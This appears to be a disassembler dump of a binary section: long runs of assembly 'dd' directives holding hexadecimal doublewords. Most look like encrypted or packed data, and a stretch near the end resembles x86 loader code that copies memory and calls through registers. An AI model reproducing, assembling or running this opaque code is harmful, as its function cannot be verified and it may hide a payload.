		dd 6214D29Ch, 0E5883215h, 62C336D5h, 6ECB6E31h,	8E113215h
		dd 0EA7CF6A3h, 8FD6DCF1h, 99DDE836h, 66113AFCh,	6B585315h
		dd 0CE0B06C2h, 6799610Fh, 4F113215h, 377069CBh,	0A7C4F9A4h
		dd 0E6F3C492h, 0D542E0FCh, 6363B2F8h, 8D84F1EBh, 0E6F9C413h
		dd 0BF19DFE6h, 3679B24Eh, 0EEE6DB95h, 6BCB6BDDh, 0BA113215h
		dd 0A922BCECh, 0C7BA8969h, 0E9A2C8DBh, 60903DBFh, 6883215h
		dd 724C89Eh, 75715A74h,	52983215h, 0D7E86A31h, 64C93D54h
		dd 0D3223215h, 0D43C5386h, 63A9C112h, 4C0022DDh, 0AE0FCA3Ch
		dd 633B7605h, 477B35A7h, 64CF3D75h, 0D4223215h,	0B6A63DF4h
		dd 0DED86174h, 2BDD123Bh, 46090755h, 0A5987F8Ch, 3D501B4Dh
		dd 6648B51Ah, 0EC2D3215h, 66113213h, 6688B01Ah,	93EF3215h
		dd 0E7C1BB46h, 661136D6h, 624BB115h, 57602E26h,	7A111609h
		dd 99ED6E31h, 0E7D31621h, 664436D1h, 69425215h,	0DC77E1AAh
		dd 34E9CC7Fh, 9DA3B373h, 6436822h, 41C2B373h, 640F3DF8h
		dd 6443215h, 52DD5374h,	0A2906B31h, 66883211h, 4270CDEDh
		dd 62E6B14Bh, 661AB71Ah, 60613215h, 8443215h, 0C2F702B2h
		dd 6614DB2Bh, 0F3B93215h, 31D58197h, 0DC70D59Ch, 66113211h
		dd 0E5D2E514h, 5AC336D2h, 8FDA6E31h, 99EEE9BAh,	675FB375h
		dd 8F4D0BB9h, 66223212h, 6756FA93h, 7CA15A2h, 6656DB75h
		dd 0BC783215h, 0F8F870F5h, 560C99E9h, 0E59B3FFDh, 242FAFFCh
		dd 5394F574h, 638E2B6Eh, 6443215h, 0E7DA851Ah, 0FC85CFE6h
		dd 0E7DE537Eh, 45691621h, 31793700h, 73321FAAh,	39730310h
		dd 6657B21Ah, 68CB3215h, 84113215h, 9C6979BFh, 9C83BFBCh
		dd 5266AA4Ah, 6617DBCFh, 7B343215h, 7B4FE784h, 669D6545h
		dd 0DE00BD36h, 77071111h, 671BCA3Ch, 8F426AD6h,	66113207h
		dd 0CC9B553Ah, 6E325F07h, 8AB49678h, 40AEECF0h,	6B610F9Ch
		dd 6D443215h, 0CD77AA53h, 0F5818A8Ah, 4CA6966h,	2F95A74h
		dd 72AB3215h, 66118831h, 94893215h, 9E1E2816h, 694BB79Eh
		dd 0EDE43407h, 74BC6780h, 6641DB13h, 0CBCA3215h, 69DF9B88h
		dd 66883391h, 0D913CB15h, 66223214h, 8F4ECC3Ch,	66883212h
		dd 2EB0E267h, 0E5D9EEB7h, 741B87A8h, 0E2873313h, 664434CFh
		dd 69FA09E9h, 66110997h, 669BDB15h, 7C9B3215h, 6A57B5B8h
		dd 48B3F70h, 0F2E230Bh,	0F7EEE2DDh, 69F80951h, 66106D93h
		dd 63043D15h, 6443215h,	7F5B973h, 0B1A63D75h, 668DB51Ah
		dd 0E7223215h, 78FD8F3h, 4698879Ch, 68613407h, 0F5443215h
		dd 5A67A24Fh, 953447F3h, 469BD70Eh, 53D9B95Eh, 6242B6Eh
		dd 661137FDh, 650DAC15h, 301B8D4Bh, 662221FCh, 8D358315h
		dd 7968DFC0h, 0F08EF863h, 3E078AEFh, 0A755A1C6h, 0A09534Ch
		dd 7F923E31h, 3A23374Ah, 0DC433E31h, 63D72BC3h,	76606614h
		dd 7DA524Fh, 6616BD1Ah,	0EA873215h, 66443214h, 6006DBE0h
		dd 61F83215h, 1D883215h, 6DDCFAAh, 5AA9226Dh, 84986031h
		dd 668CF094h, 0A4C73215h, 4236B511h, 54A05249h,	0D30DF574h
		dd 6742201Fh, 8F223215h, 66113212h, 794DD1ACh, 6944B890h
		dd 66223592h, 67993D15h, 9A883215h, 37602E9Eh, 0A7A3D39Ch
		dd 66113211h, 0E18CF396h, 9E181619h, 422EB9E0h,	0E7F3BB47h
		dd 668836D7h, 6286B315h, 0E1223215h, 694D1601h,	66883397h
		dd 52CFC715h, 85AB6131h, 6615F194h, 0A50B3215h,	4258B511h
		dd 662EDB49h, 0F4183215h, 0AE82D02Ch, 0E36DC72Eh, 3272DB41h
		dd 6615374Dh, 0A60B3215h, 4240B511h, 0D92D5249h, 0A19A54EBh
		dd 0B0E1DB74h, 72ADCDEAh, 89223215h, 8220DFAh, 0E9680FE4h
		dd 32B982A8h, 5A4FE294h, 9A21CA5Bh, 49CD8F96h, 69453407h
		dd 66277791h, 63F85215h, 5C883215h, 3600C669h, 4D4345A2h
		dd 741E5B88h, 8F745213h, 66443201h, 4252CDA5h, 0E5C55F2Dh
		dd 12A11059h, 0DEBA12D5h, 3FAB887Ch, 5F9CB974h,	9E8E2010h
		dd 0FFFA64EDh, 4F7FBD3Bh, 0BF106CE4h, 4811F394h, 36246F9Ah
		dd 662234FCh, 98196315h, 3D9272C5h, 6640BC1Ah, 0DF443215h
		dd 0E770952Fh, 1C88B7D4h, 36BD1B31h, 1C22B7ADh,	3ED01B31h
		dd 6683BB1Ah, 60AD3215h, 0C1223215h, 6B9F60B8h,	6681DBA0h
		dd 27663215h, 0F921E6F8h, 34499915h, 0C468946h,	0BDB35F06h
		dd 0F30FD994h, 0BC98A0F9h, 3C591B4Eh, 66443BFCh, 1B15FC15h
		dd 5A50711Ah, 69E849D7h, 0ED22F1A2h, 4E4A53CDh,	0EF11325Dh
		dd 123D1619h, 8E74AFA5h, 0B5A9524Ch, 7DF8D1Ah, 0AEB9CEBFh
		dd 0AE75F324h, 9C9D3D75h, 661121FCh, 0CDA13115h, 0FE0CA826h
		dd 0CB9B56A2h, 4E569BF1h, 0D2BEEBE5h, 6642DB74h, 669B3215h
		dd 40F1ACD0h, 0EFDDCEBEh, 6281B3F0h, 0E5223215h, 994436D0h
		dd 3B8C1661h, 3A60369Ah, 423EB9ECh, 63F1BB45h, 66883211h
		dd 0E140F296h, 67E1611h, 4304C094h, 0D98742E7h,	6ACF53C3h
		dd 86AB6231h, 66113610h, 668C3715h, 62C33215h, 60CB6E31h
		dd 2E113215h, 0C7BEDE4Ch, 4270B903h, 0E7C5BB42h, 661136D2h
		dd 624FB315h, 0E1443215h, 697E1629h, 6611339Eh,	0EFDACA15h
		dd 62FC62F7h, 67223215h, 0A4926AD7h, 429CB511h,	0E2ADCA49h
		dd 9EDDCDC2h, 1D24B7D2h, 668A340Ch, 0D3243215h,	70A23D17h
		dd 8F113215h, 66883204h, 0A7D613E9h, 30763E1Bh,	45C91E20h
		dd 0AD1C749Ah, 72AD537Dh, 41223215h, 0DFB38DEFh, 0EDC01196h
		dd 0FFC333A2h, 0BFFC45FFh, 30DD17F1h, 0AFAC1E94h, 0ED38BF70h
		dd 0A2A11609h, 0AFD2B311h, 8FF4BF70h, 66443205h, 121373EBh
		dd 246EBBBDh, 0C9B6358Bh
		dd 0B4110BEAh, 662ADB75h, 23215h, 1008F979h, 7BDD990h
		dd 9E2C841Ah, 6991CB95h, 66886A96h, 6657DB15h, 0E61C3215h
		dd 7A988536h, 0E430A323h, 0EC312FADh, 7F682785h, 55D2B370h
		dd 67A27D57h, 0FF967DEh, 0E727D83Ch, 0FC7219F0h, 7C7DB349h
		dd 4F6AF776h, 36DA6FFEh, 661133ADh, 3E4B3315h, 0AFC55475h
		dd 8F43F334h, 661132ADh, 668FBD1Ah, 0EB4B3215h,	66223214h
		dd 83A661E0h, 0B97EFDEBh, 66A38344h, 81E26BDAh,	9DF6B212h
		dd 4EF7C595h, 72AD69ECh, 82223215h, 75ECDBB6h, 5BBB96ADh
		dd 714FE52Fh, 0F2B11169h, 0E1393233h, 0E15EC5E4h, 692473E4h
		dd 66223494h, 669E3D15h, 37883215h, 0E724534Bh,	0ADFBB0C6h
		dd 82E6B322h, 7E5E0BEh,	6640DE94h, 72AB3215h, 66EE8831h
		dd 0B7A93215h, 76C33D4Fh, 8F223215h, 6611321Eh,	0F8B55DA1h
		dd 9BB949FDh, 30B7174Ah, 73249EABh, 387B3372h, 8DC5F93Ch
		dd 13707B9h, 6607B21Ah,	0E3873215h, 66443205h, 662239FCh
		dd 0F57DDC15h, 0D42908BAh, 437C9E41h, 694BB79Eh, 0EDE83407h
		dd 74BC6780h, 6657DB13h, 9FB73215h, 0E46A85A0h,	0A8F717BCh
		dd 9A53B9FDh, 0DD688D07h, 9D15DBA9h, 6D61CDEAh,	4E443215h
		dd 0C431CD9Ch, 47542D90h, 69E8EBECh, 0A125F1AAh, 7F590790h
		dd 66113013h, 670B3D15h, 93443215h, 64A93D75h, 30113215h
		dd 397BB34Bh, 773D96Fh,	423EB943h, 615F696h, 668823FCh
		dd 0AAC6B15h, 9747BA10h, 0F6812DFFh, 5D3879EEh,	0A1C54D48h
		dd 4915FA05h, 80A85274h, 8FEBE68Ah, 66443206h, 0FF480203h
		dd 0BCDA6C22h, 0C8573082h, 43DDDA69h, 7DF7D3Ah,	691F841Ah
		dd 6688339Dh, 9FC4CE15h, 37A13D95h, 9A113215h, 44ABF194h
		dd 0AD450B84h, 13768F40h, 9390160Eh, 67CC25FEh,	0E709DFC4h
		dd 78AD09F8h, 3BFA1BCCh, 993765E0h, 4FBBCDEAh, 6CCB6DEEh
		dd 3113215h, 23DAE849h,	3E271EF3h, 28995224h, 372C01E7h
		dd 7D05375h, 664494FCh,	2B905215h, 7EB8D1Ah, 993C6273h
		dd 4E65DB95h, 47E3B2F4h, 8F716A73h, 66883206h, 2D1FE8A2h
		dd 0CEB7C5C5h, 0C8EB66D5h, 0CB5D1924h, 69C12F9Dh, 0E143F0A2h
		dd 0E1C7C5E4h, 0E38773E4h, 6644321Ch, 47AD8875h, 3D402183h
		dd 99E06174h, 3D443215h, 8F79EB34h, 6611321Fh, 255C9F7Ch
		dd 33D061h, 0E7D73FCDh,	303C4AFEh, 36431B01h, 0EF4B13ADh
		dd 43F2C543h, 4F024873h, 3FC3EC10h, 0F718073Ch,	0A5237428h
		dd 6FF8524Dh, 0D4883215h, 1F2387BCh, 52CC5C53h,	6AF853E9h
		dd 7C883215h, 0CA192410h, 0C6B1DD86h, 0ED89DF08h, 74875B90h
		dd 0EDB85213h, 0F3A953C5h, 60030640h, 2335B1EDh, 6742203Ah
		dd 9169B61Ah, 0E51ECDEAh, 66883203h, 664423FCh,	8803B215h
		dd 5BB87850h, 0C9F822FDh, 94ECE584h, 0BE19EE68h, 660DB01Ah
		dd 69E83215h, 6644349Fh, 66A03D15h, 113215h, 78E6E194h
		dd 69970B74h, 99CC2A93h, 0DB44CAEAh, 5A6D1621h,	0A747DFD4h
		dd 0ABA330F0h, 60F6755Ch, 0E78BDFD4h, 0B8BEDEF8h, 3BCC3316h
		dd 60AA5475h, 0E7DE53F1h, 3DDA1611h, 317B50B2h,	0C14AACAAh
		dd 39711B77h, 6652B31Ah, 0EB2D3215h, 66113205h,	668839FCh
		dd 4A48815h, 6D862289h,	7AC3BFB7h, 6B84DB94h, 8FC52353h
		dd 79400ABEh, 0A790CB3Ch, 79EA0ABEh, 6B48F394h,	31DB2353h
		dd 661137AAh, 0ED711B15h, 0A2C51629h, 66223211h, 6610B21Ah
		dd 34713215h, 51F4ECA7h, 72A9E225h, 62D5B131h, 9E7498E0h
		dd 0A775FA24h, 6942FA24h, 0ED1EE2A2h, 66883217h, 8F25C89Eh
		dd 66223210h, 0C14E1D60h, 0E987997Eh, 66443214h, 0B513DBE9h
		dd 35E8CDEAh, 668832AEh, 34B73315h, 662232AFh, 0ECCB3315h
		dd 9ED36817h, 0E24BDA29h, 66223275h, 66113CFCh,	10518215h
		dd 110C3DC9h, 57BA9039h, 9E13B6F8h, 2CE28C43h, 0B8B34FB0h
		dd 0D3B4C494h, 9698B04Fh, 0E7AC069Eh, 664436D1h, 16CBCA15h
		dd 6113214h, 660F3D75h,	0E7443215h, 11261BDFh, 6CF95374h
		dd 0C7883215h, 0DFC6D9BEh, 5E7B9EB6h, 6619DB5Dh, 0A01C3215h
		dd 0D091FD7h, 7786EDBh,	6653437Dh, 4294BB15h, 66443AFCh
		dd 2D98F115h, 0FAEF2EC4h, 7A0364F9h, 6280B331h,	6223215h
		dd 0E1F3B373h, 668FDAD7h, 0C53215h, 0A1E81727h,	83F1B3F4h
		dd 3DC494BDh, 67FE6074h, 67223215h, 0ED0B31E7h,	0A20B1601h
		dd 74CD3D11h, 6223215h,	661135FCh, 0CEA49715h, 0B8145764h
		dd 0CE228973h, 62FDB374h, 0EF883215h, 63F91639h, 67223215h
		dd 0E5E46FFEh, 6A0136F9h, 0EEAC8331h, 93DA6BDDh, 8D90C7BFh
		dd 4E9072B2h, 6968D994h, 9D0B780Dh, 693DF194h, 0A509780Dh
		dd 4E5C72B2h, 6625B41Ah, 713215h, 7E8C59Eh, 62FA6474h
		dd 0E7223215h, 0D743B4FEh, 0E77B1B4Dh, 0D716B4D6h, 0E7DA6C4Dh
		dd 661136F9h, 428CBB15h, 8F1F6A46h, 66223219h, 28BC59CFh
		dd 81317CEAh, 0ABC94DEFh, 0ED4252BEh, 0B4AE3DDEh, 7738774h
		dd 3D6006EAh, 6626F694h, 37E93215h, 668837ACh, 7382B315h
		dd 67092577h, 73FFB3DBh, 3FA32577h, 64CD3D75h, 0EC223215h
		dd 7D7B9DEh, 66898C43h,	96CD3215h, 0E706069Eh, 661136D1h
		dd 7E053D15h, 6443215h,	662239FCh, 0FF717215h, 831DA038h
		dd 6C0B1438h, 8FBFD594h, 0A570639Eh, 668839FCh,	7D0FA615h
		dd 0F8C94588h, 88702BDBh, 66E5827Dh, 4248BB15h,	86108D75h
		dd 35703AF6h, 668832AEh, 7887B315h, 670F4148h, 78FAB3E6h
		dd 0A54148h, 61F319Eh, 0B26B57AAh, 0AEA63D3Ah, 694B0E74h
		dd 66450A91h, 662CDB15h, 0FA093215h, 0FB79FCB3h, 0BF24B290h
		dd 9ABA9513h, 661122FCh, 1F2B0615h, 1FD98F1Fh, 0A3216829h
		dd 61CD9C6Ah, 69430E09h, 66453A91h, 8F42CE15h, 66113201h
		dd 15B4D201h, 14278CA7h, 4935F6B2h, 0BA2544F4h,	0BAE140D0h
		dd 75D88C42h, 77B0E1Dh,	0E21EF029h, 6688333Ch, 66443FFCh
		dd 34AE15h, 0C23FB65Ch,	0A185724Ch, 0AC78526Fh,	672DB61Ah
		dd 0ED1E3215h, 6688321Dh, 6646B01Ah, 7423215h, 43EE0F73h
		dd 679EB61Ah, 0BD3215h,	69DD1C28h, 66116390h, 0DCDAC715h
		dd 66443217h, 64A8C014h, 0E735269Eh, 668836D1h,	155215h
		dd 3C14ACAEh, 70D5A7h, 0EA517Dh, 0D460269Ch, 0F212E5h
		dd 0C62DCB4Fh, 6780B61Ah, 243215h, 0A79BC99Eh, 745EA73h
		dd 0EDEE5275h, 66C73DE5h, 7223215h, 0A7C9B373h,	52775309h
		dd 0A2C56B31h, 66223211h, 3046CAE9h, 0FBC2E87Dh, 88C56C09h
		dd 7CDFCCCCh, 914FC59Ch, 9967B3CAh, 0EFBA52A6h,	0EB2D6DEDh
		dd 66113214h, 67FFDBECh, 0EC4B3215h, 66223219h,	661135FCh
		dd 0ECD27F15h, 165A017Ah, 43DA8C75h, 0A19A180Ch, 9A410374h
		dd 40228847h, 0ACA317EDh, 53B0F76h, 7732C094h, 0BCB37AD9h
		dd 0B700C094h, 0B710E2DCh, 0E7EE524Fh, 62430FBh, 0ED44E49Eh
		dd 8F7053E5h, 66883292h, 664426FCh, 0E52F7615h,	0A8DE3E42h
		dd 823BD52Dh, 734CBC72h, 0C09212A7h, 66125A0Fh,	6A033215h
		dd 6280B331h, 8F223215h, 66113213h, 0DE4141FCh,	36ADF79Fh
		dd 9E223215h, 66178847h, 0E7DA3215h, 37141621h,	0E77B6F78h
		dd 0B4062E4h, 8F7D6848h, 66443226h, 6632DBEDh, 34BE3215h
		dd 9DCB9B1Dh, 0EE6C3DA9h, 57A271Bh, 61797F31h, 0ED883215h
		dd 0A2C51619h, 66223211h, 8FC1B875h, 66883213h,	0C66F7449h
		dd 95433E50h, 661ADBB1h, 0F43F3215h, 0CFB59012h, 19AAE9Fh
		dd 339CB917h, 68E2021h
		dd 698DB774h, 66220B90h, 715215h, 0EDEEC29Eh, 6BAD53C3h
		dd 44223215h, 851BADB8h, 0C51AA919h, 2D09BFEAh,	0D3ABCE74h
		dd 60030640h, 0A0095475h, 6CADEAD7h, 6C223215h,	0B1A3754h
		dd 7A40B700h, 52BB5352h, 0A2A16B31h, 77943D11h,	8F883215h
		dd 66443219h, 0DC4552DBh, 7B4E97F2h, 0F0F3D997h, 5B89B275h
		dd 679D6574h, 0EF113215h, 42B4B9EDh, 8F40F696h,	66223204h
		dd 6F4C07F4h, 0BE78935Dh, 256E21F2h, 0E02544E7h, 0E61EF16Eh
		dd 66883204h, 664FB61Ah, 60CB3215h, 3B113215h, 3226D578h
		dd 50BB54ADh, 420EB373h, 3E77353Eh, 0DFEE6373h,	6722353Eh
		dd 697B54DDh, 66112095h, 6A063D15h, 8F443215h, 66223212h
		dd 8523BEEFh, 5A3D7061h, 0A9C03DD6h, 9E223214h,	36D3BA47h
		dd 8500E69Dh, 0ED24684Dh, 374453D3h, 8D31C2A0h,	4284B973h
		dd 6646F694h, 74CB3215h, 96113215h, 95665591h, 0B8F4BA8Fh
		dd 1BF5FE89h, 9DFDDE7Ah, 1673B282h, 65AEB61Ah, 6FCB3215h
		dd 38113215h, 60F10DFh,	0CC5EF8B3h, 662ABF1Ah, 0ED1E3215h
		dd 66883217h, 8F785375h, 674EB61Ah, 6CF83215h, 0EA883215h
		dd 3C438892h, 0E3457349h, 69FA0E17h, 66896791h,	6654DB15h
		dd 0CA0F3215h, 0CE9B0FD6h, 2F4AB8DAh, 8F26554Dh, 5ADBF5EBh
		dd 51953DD7h, 93883214h, 0E24BF929h, 6622333Bh,	661ADA75h
		dd 0AFC93215h, 0D9F0F4BBh, 5BDDA1A9h, 0E7776A7Bh, 7049CCDh
		dd 43BB0F73h, 672EB61Ah, 5AE83215h, 650C3DDFh, 8F443214h
		dd 6622321Eh, 5BDA55C2h, 0B7BF80D7h, 8F726FC5h,	6622321Ch
		dd 26350A50h, 0C3905A3Bh, 69A70EBFh, 66210591h,	5B77CE15h
		dd 0E387CD3Bh, 6644326Eh, 0E52D6175h, 66113215h, 6680DA4Dh
		dd 159F3215h, 75C00A36h, 0D9774BA2h, 7D18A49h, 64FB6547h
		dd 0EF223215h, 94106DEFh, 69D2309Fh, 66443798h,	0ED445215h
		dd 0ED53DDh, 46788344h,	6ACF54DDh, 64E6B131h, 6610B71Ah
		dd 9E743215h, 0E24B9229h, 6622326Bh, 661139FCh,	0D4C39F15h
		dd 9AECA353h, 0A707918h, 661120FCh, 0FAD2F515h,	0F66DD47Dh
		dd 52D828AFh, 6AEE2EF5h, 0DE0B83E2h, 6A370B9Ah,	0D04BAF30h
		dd 42F9077Ah, 0DBDD0F12h, 4F673B29h, 8BA3EFE2h,	3F170FD7h
		dd 0E36DB350h, 0E77E0224h, 31D3C5D0h, 3BF91BCCh, 0AA625F38h
		dd 35FD520Ah, 0EC45A84Bh, 0F2F853C2h, 8F883215h, 66443207h
		dd 7F1D67D1h, 0E576ADD5h, 1718D424h, 92722B68h,	0D3AB10D3h
		dd 60030640h, 6698BA1Ah, 6DAD3215h, 6A223215h, 2FD015D9h
		dd 9ABB8748h, 0FBC9B67Bh, 603AA3CBh, 8FC2CDECh,	6688321Bh
		dd 4445EA7Fh, 0E5346159h, 6C53C103h, 0DFD94F3Dh, 1C2560AEh
		dd 5EC6F394h, 0BFE66308h, 441DFB94h, 0AFC572C8h, 65B01D31h
		dd 19E5DB94h, 0EFDB45CAh, 3D9CBBDEh, 7EA43D4Ch,	8F113215h
		dd 66883206h, 769D5062h, 5CAC3B4Eh, 0C4663C2Fh,	0E8290CD4h
		dd 0A5247877h, 662DB21Ah, 6CF83215h, 0F2883215h, 0A8F6D165h
		dd 5DE1B010h, 6AE85A73h, 62013215h, 6657DB31h, 3EDB3215h
		dd 0BFA8E62h, 0C5A119E0h, 0C9387189h, 3894D0F8h, 76AA61A1h
		dd 67883215h, 3E77CDE6h, 0ED44524Eh, 84AF54D7h,	74615358h
		dd 0D3443215h, 95630206h, 27AB4362h, 6E96C9C0h,	0B3962E10h
		dd 1BA7BBDBh, 6172019h,	0CB33C59Eh, 74BFF6Eh, 662226FCh
		dd 0CED9E315h, 0FFD80488h, 20CD8368h, 15DEB4EBh, 0BD91F4E7h
		dd 42BCCDDBh, 6280B34Dh, 6223215h, 0ECE8851Ah, 35DA53FAh
		dd 6F67FCAEh, 0B2E9B356h, 2D276065h, 38D4C194h,	858525ECh
		dd 65C1F31Dh, 6E0DC194h, 0BC012379h, 3C92334Eh,	662EB31Ah
		dd 0EC1E3215h, 66883213h, 6644B41Ah, 0DBAF3215h, 60031114h
		dd 953F3D75h, 66C33D45h, 3C223215h, 719F74h, 6203C194h
		dd 664422FCh, 0FBB41515h, 861A0091h, 55182A98h,	17109FFCh
		dd 0A90F536Ch, 63232374h, 712204DCh, 42607616h,	0CC14FB38h
		dd 7DE3702h, 0E0870004h, 66443205h, 662239FCh, 0BBD15515h
		dd 0A39BCAE2h, 9408815Ah, 0E74452BEh, 46BBE3h, 77FC2ADh
		dd 749D8F98h, 0CBDA3407h, 661135FCh, 0EADB7015h, 40045EA0h
		dd 5497738h, 26BE1F4Ch,	228B6F05h, 0C9411631h, 637F2255h
		dd 3F725950h, 66883EFCh, 55618715h, 0C82942F9h,	0F1311DE5h
		dd 493A5A5Dh, 62CD3215h, 9A89CA31h, 556C8F98h, 0CB743407h
		dd 63C23D75h, 223215h, 7750FB94h, 488E3774h, 0E84114C4h
		dd 65270C79h, 4B391651h, 63B65E9Bh, 0B76A3438h,	61AD3D33h
		dd 69113215h, 66883399h, 8FEFCA15h, 66223212h, 0B8A52506h
		dd 9956DC6Dh, 0E71A1621h, 662236D1h, 0D11E5215h, 9A4B53E2h
		dd 6661C57Dh, 4216BB15h, 0E77752EDh, 0E6EE74F2h, 0EB25D9F7h
		dd 7EB31A88h, 75963D13h, 8F883215h, 6644321Bh, 0C1D0C885h
		dd 83B7D751h, 0E77F6EE5h, 0B5BB9504h, 663BB51Ah, 72F83215h
		dd 82883215h, 87520306h, 0F57605CAh, 0CC48ECE2h, 5F345F45h
		dd 8F65B7F1h, 99DDCEE2h, 6610BD1Ah, 0DFF93215h,	6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 0E3D9C0D5h, 0ED96A45Ch, 8A152AA8h
		dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh,	2C5E8979h
		dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h
		dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh
		dd 8660D554h, 2559D7BAh, 93702BCEh, 32DCF143h, 8C0C4F8Ch
		dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 0CD4038C8h
		dd 7462C4Dh, 0B1347ADFh, 3C6D552h, 92B85E00h, 75152A54h
		dd 0DDAEAE30h, 978FA75Ch, 0FB57BB20h, 0EFCDB0D9h, 7BAEA45Ch
		dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h,	8C0C4F7Dh
		dd 70CB2F16h, 75133331h, 54142B96h, 8A152ABDh, 0EDDAC345h
		dd 82D7E3A8h, 3044BA45h, 12E80000h, 45000000h, 0B0370BB7h
		dd 0F4CDF5F7h, 80D10757h, 6C7F933Ch, 0D7BA6652h, 6E85ED7h
		dd 0C9000000h, 5FDF793Eh, 0DE8D7h, 0FB6B0000h, 74A41BC4h
		dd 652D2A9Dh, 5ABB0804h, 36C68159h, 810000E6h, 56A59EE9h
		dd 0E8C0337Bh, 0Bh, 0F75116A1h,	0D6963EDCh, 0E8B190A6h
		dd 0Fh,	140ED998h, 0E474EDE1h, 0B7A24556h, 66A5D88Eh, 3B4CB81h
		dd 3C8B595Ah, 38B0F06h,	80000000h, 0C78160D1h, 7CAF9D5Ah
		dd 0EF81BBB7h, 47777671h, 68A0Fh, 0D1810000h, 47FCCDC6h
		dd 6B87EF81h, 3C8955AFh, 0F3EB8006h, 8B04E883h,	0ACF881D1h
		dd 0FFFFF1Ah, 2185h, 7E800h, 44BC0000h,	87A78BD8h, 0CFB70FAFh
		dd 1FE959h, 82220000h, 8254680Ah, 0D95E153Ch, 0C1816B64h
		dd 156B7601h, 0E98391E9h, 8BA4F305h, 0F3BE67CBh, 0BAB1324Dh
		dd 5DA4B159h, 0BE583256h, 51B13256h, 825FEF37h,	0E7F956FEh
		dd 317FC2D1h, 0FE88215Ah, 0BAB8DBBAh, 92F03256h, 73B8CA7Bh
		dd 379E8B90h, 5E983BFh,	0F1B0A4F3h, 7AF29D11h, 0FB2375FDh
		dd 63FE7317h, 3FD525FBh, 8BADFDF5h, 22916CBDh, 7ACFB734h
		dd 29B723ACh, 7A1A20ADh, 277975FDh, 389B987Ch, 0FFA073E4h
		dd 0E9833585h, 8BA4F305h, 39BD8DDBh, 8D06197Bh,	1A03D68Dh
		dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h,	754904C7h
		dd 14E9F6h, 1FF90000h, 0C6C5F8A9h, 3DE431D1h, 213E4135h
		dd 22706DBCh, 0FF8F4E5h, 0C82h,	6800F00h, 0F000000h, 87h
		dd 47CF6800h, 4890000h,	83F55824h, 120E71BDh, 9750006h
		dd 2D69BD83h, 74000612h, 8B535019h, 411B8C0h
		dd 85890000h, 6123205h,	0B0519D8Dh, 0D3FF0614h,	0BD83585Bh
		dd 6122D69h, 50177400h,	411B853h, 85890000h, 6123205h
		dd 0ACF29D8Dh, 0D3FF0614h, 0E960585Bh, 10h, 0CB8A9E8Fh
		dd 0C663B256h, 571F87D7h, 0BA8FC788h, 4FB9C281h, 0F8611E1Fh
		dd 89C58955h, 242C8BE8h, 4C481h, 81600000h, 3ED707EBh
		dd 3AE48007h, 8D8DF861h, 61A076Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 94C35343h, 0BD8988E9h, 6120255h
		dd 27918D89h, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 28B11AC3h, 1985CCCAh, 0C70696AEh
		dd 12343985h, 695C06h, 9BBF6600h, 5D85C7F3h, 6122Eh, 29000000h
		dd 1211018Dh, 1DB5FF06h, 0F061203h, 95FFF9B7h, 6120AC9h
		dd 0A74BF66h, 95FF006Ah, 6122475h, 5EEBC08Bh, 0D173F1ECh
		dd 0F78B0874h, 375A5866h, 1AB8B9E9h, 79257BF0h,	0CD6C1074h
		dd 5FDB0F05h, 0BB9ADCB3h, 0FF4B98ECh, 630027A5h, 0E667CCCCh
		dd 0F291507Eh, 6B6B980Ch, 51439FBCh, 48EBB9FAh,	0C4674AE3h
		dd 0A9105757h, 74315BBh, 19BCCD4Dh, 0AD99E0D7h,	0E27565C4h
		dd 157FD26Eh, 0A7CFDBDFh, 9E8AF9Bh, 78000000h, 4322EE34h
		dd 0F4A722AAh, 1C51858Bh, 8B5F0612h, 122CDD8Dh,	0EC78106h
		dd 2900005Bh, 1230519Dh, 81D22B06h, 0BBB1B5CEh,	3A34FF08h
		dd 94F68166h, 0C88B5B4Fh, 3967EB81h, 0C18B517Eh, 0C5CBF381h
		dd 820F05F7h, 6, 20B98D8Bh, 0F3810612h,	5317873Dh, 0ABD68166h
		dd 0BF0F5385h, 17048FC6h, 1009BD89h, 0B58B0612h, 6123221h
		dd 0E904EA83h, 0Bh, 4EE076F5h, 0C684A114h, 81E873B2h, 0FFA5A8FAh
		dd 1C850FFFh, 0F000000h, 685h, 919D8900h, 0E9061211h, 1Dh
		dd 0C7CA2532h, 8F561EE1h, 2B0D78D3h, 120461B5h,	0FF77E906h
		dd 7776FFFFh, 6935551Ah, 0EDE9FDh, 66600000h, 4A8D88Ch
		dd 0DF840Fh, 0B58B0000h, 61212FDh, 0F00FE83h, 2285h, 5985C600h
		dd 45061202h, 72696968h, 19B5FF8Eh, 8D06122Eh, 1581A485h
		dd 89D0FF06h, 12066D85h, 80F08B06h, 850FE93Eh, 31h, 7FCF858Dh
		dd 0D0FF0617h, 3281BD8Bh, 0C7810612h, 1184h, 12FDB58Bh
		dd 0F7870612h, 8B9h, 8BA4F300h,	1212FDB5h, 39858D06h, 0FF061633h
		dd 0C9B58BD0h, 8306122Fh, 850F00FEh, 22h, 25985C6h, 68540612h
		dd 0FF4EBEF4h, 2E19B5FFh, 858D0612h, 61581A4h, 8589D0FFh
		dd 6122FC9h, 3E80F08Bh,	3A850FE9h, 8B000000h, 122FC9B5h
		dd 0CF858D06h, 0FF06177Fh, 81BD8BD0h, 81061232h, 1184C7h
		dd 8C78300h, 2FC9B58Bh,	0F7870612h, 8B9h, 8BA4F300h, 122FC9B5h
		dd 39858D06h, 0FF061633h, 8DC361D0h, 1A089585h,	0B5858906h
		dd 0E906121Ch, 29h, 369CB5C7h, 9 dup(0)
		dd 47BE900h, 0CE680000h, 0E9061A0Ah, 0FFF876A8h, 1A0B4C68h
		dd 769EE906h, 9268FFF8h, 0E9061A0Ch, 0FFF87694h, 29C676B2h
		dd 78993DC6h, 8A671111h, 0D839DB27h, 0EB04B271h, 3AC96E50h
		dd 41C738Ch, 0D12C835Ch, 0A879D031h, 83B8E1FEh,	0E08B6C6Dh
		dd 6F2CCA00h, 986BE811h, 3D4C63B1h, 37323EE0h, 966DDBBEh
		dd 0D453FF04h, 36E021A8h, 66A74D9h, 92C753B5h, 2BF0CE8h
